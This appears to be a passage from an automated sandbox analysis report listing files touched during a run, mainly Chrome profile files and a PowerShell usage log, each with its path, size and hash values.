SHA512 bd8b4ccb9f200412d8a73a82579532faa8c0525837a07caab89acec1eaedeb54d19b18cef6bf90bf0ea10706d1e54a48cc0ba491d715f0da24dfaa76479ebad3
SSDEEP 192:JsXrF0oMZ7Qi1eTX8FHV+FgEvOzz88kuu5e/3fErKw8Po6yIsnVdg4:JsXrFGsX8FGgEW/fkm3eKwQ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 9KB
SHA256 716fdee329f364aced738b8f4dc29f29ac193d707e18a40a21cf1b079e1d254e
MD5 7e3331a9446d5b011bc62606fe99fc00
SHA1 bd23f54b070e9e72588c5c1d1641de9a7c19c3e3
SHA512 806db8e4440e2262112a26e244845c14ab5b303bc9ceddbc65fdad656bcdb1c1ac3b1bd18ae8565e101d6f3ad2d46b744bcb86d4befce2f7bd89d3593a57ea8d
SSDEEP 192:JsXrF0oMZ7QineC8FHV+Frz88kQe/3fErKw8Po6yIsnVdg4:JsXrFG18FG3fkx3eKwQ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7a7900728ee0d4f5a270f7a3f0e134839df593ed\d80e7337-dba4-416b-a66e-f53e7c5dfbfa\index-dir\the-real-index
Size 72B
SHA256 bce7d14fdae2fc4d335cfaed33da4465919da80342143296b98ddff003b72bb2
MD5 73a951c7db186a781df27abffdf1bef7
SHA1 def1d66159f82b68aaa5fdc1c1b824580c086e5c
SHA512 febceebf8f8cc4dcbd60f9e905dd9dc75f85de4029cea3dbba7e30feb2170ff658cdcd6c7aa16b269108964b0a8a8849bb94e1c1ea94af7b292c76549b09b0cb
MD5 SHA1 SHA512

Submit Download

the-real-index~RFe57fe07.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7a7900728ee0d4f5a270f7a3f0e134839df593ed\d80e7337-dba4-416b-a66e-f53e7c5dfbfa\index-dir\the-real-index~RFe57fe07.TMP
Size 48B
SHA256 6d5e0affa7a4f7e20c48ec268e105a6e58e6cdf94afadf76016294df05f33043
MD5 f0322f77ec40a69fcd406add619b13d8
SHA1 360d03ea431c9bd2d96a1fe882c2153aa18f7753
SHA512 2291d142010c6a387f83a8cd3220f4c43dbd7bbcfa69badffcc3a250751f9f5b48113361a1b1252e03c046f372a88344f18414861c7fb64c6c1c356081d800a9
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7a7900728ee0d4f5a270f7a3f0e134839df593ed\index.txt
Size 136B
SHA256 239cf3aa693a032d1c4a4c2d1c695583f8d4fb40e12c4cfd31c9b64b99a266c4
MD5 bf60e800e5828cb520c1ec17cc6ce06c
SHA1 8ba8a9c5e70d277ac6dfe3e1201b44e855d5e37d
SHA512 45a9341cb0d47bc6170b63acc9fcb05b6c24c4452ea8842e1e0d83c07c68aabe8b92074b55e448981adee94317cfe94be776de8d0c7cc4f610c99024b05981c7
MD5 SHA1 SHA512

Submit Download

index.txt~RFe57fe36.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\7a7900728ee0d4f5a270f7a3f0e134839df593ed\index.txt~RFe57fe36.TMP
Size 142B
SHA256 ce72b11658c77a647a2d7db5cdfd8b6becfb39eaf36cfd835a735d80737ac155
MD5 6015ba006830589b5199c027d4aa2e1a
SHA1 6608eee25f199a6f134b8a5996516d751512ba83
SHA512 13b69b7664864b0ad2737260a4a4e13ed37f0ee18d577e09a145da47f53719ca1a1921971a3710f601454839d5e1316a6b61753c76a9ae07382659b6bb1d4d7d
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 03f3e46675b7d07987973bc5db00d9224e26dc55cbee6b5e8072c3f2275c5023
MD5 7a290dca2aa225ad019fed407ee69e40
SHA1 2448f132558a0e7b8cc012791115a5fb854d4d6a
SHA512 235a733aad2754f700d800a99d9da07f3b7e8d3a39da87370ee3c2c07064ac77fd2bdbf3eec8a676d8f9f28c08d18e1d0f6613a714beab2e7408cbabc60ef18c
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 cbe641c48d994f67b172a717b19fbc687f803c90c017349ff2c1530749d5e257
MD5 0428a870c8018a753a311790d6cb68fc
SHA1 ebecfb125437a4ab654b371b66ed561dba489039
SHA512 5c6a2b275c71c1dd650eee26983827933807e5ed0dcaa8621e73463b4a87cf5bd7da186d79fa7c05dc0cfbfa336be8384fa790d188d9b4ef3011d5fb9ec4df92
SSDEEP 1536:fKE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:fKeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 611b355f18766feea54e00ecaf3aae9881ccb50fbe100f438eda807c29fa9bdd
MD5 f601c8cd3cf4249a544f95657b47fd19
SHA1 60f87c07abe70baabe54c9218c74ebee5f1f7a30
SHA512 6677988c7e9c95db725f24a272c337ea830e336802d9a7bd1ddeeabc13fed8caf4f4e38050b40e66eb554090036df8e19acfad71ee76c5af381daa6204a69917
SSDEEP 1536:9KE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:9KeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 c60072b705aecb5ade033a0f61845c310ac23547aff4b8a2911b0a9e46f7af62
MD5 aac473c8ae1f77efda80c9aa20dcbc43
SHA1 4d90f0ead1b502d3a075082f1df8fd1e94378bef
SHA512 6f57e372c8003186c2d14dd7b401e8a5d230088e013ff0daf24a06c87510944c638cd609c3fa17d99486a64245c38b52a5f4bec93feb413b213f58ec1715d0f5
SSDEEP 1536:NKE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:NKeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 90dd6028efe4653f171ea59a72ce366fe4112f0f153a791f8a745f2af2bb9e68
MD5 531f6b28586a79f5fe3e5cac1c99e4f0
SHA1 1a7e8a7cfdc3c399f5f04fff0dbad78593b4d092
SHA512 28141a2c35e8e13f7cd88629cc88cf35f1b7876dbf9c13fbd290479be9c6e9a8ff9b98f3e18a9b1a3b4cce791949104c701d4d8596caf06a599e49db1907def6
SSDEEP 1536:9KE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:9KeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 cb11763f400fe05ae2796518af72ae45deb926c9d20296b30021cb9abb540ab1
MD5 09b0a72150b6628d71379b8cb9f0650c
SHA1 3968200e973bc6db1395c3b455bcc2057c66e8ce
SHA512 097530076ffb1f234e4115482b0c3cb3af368625759aaaed05ffa11163e1e21ec85c4513178977657b25328a1fe5e86361d5e7293f8ac5ef8576e48442611c6c
SSDEEP 1536:eKE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:eKeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 101KB
SHA256 dd876ab4ac4c7a786933d3050fb46ad26f4601358d8f5e3e30a536d09bd0e414
MD5 c98db12fb4e236651019aa5405d1f5ff
SHA1 6b401220b79e5b840e24e13131105e6d25d0a4af
SHA512 129018964813e44c6ff7214f76ffc56827e00032f8887dc52b538494c68e95525b268551c4c21f2458e44298fec4b51fceea5b9a2b7af9344952b90873ba6ba6
SSDEEP 1536:vKE4ISHe/zJ9VyFb0NiVcfItyMrjxI67AgEyArGgTc2k7GIyOSPRtZ9R42tV:vKeSiDkFGiVcmjnvEBagWSptPvZ9CGV
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

Submit Download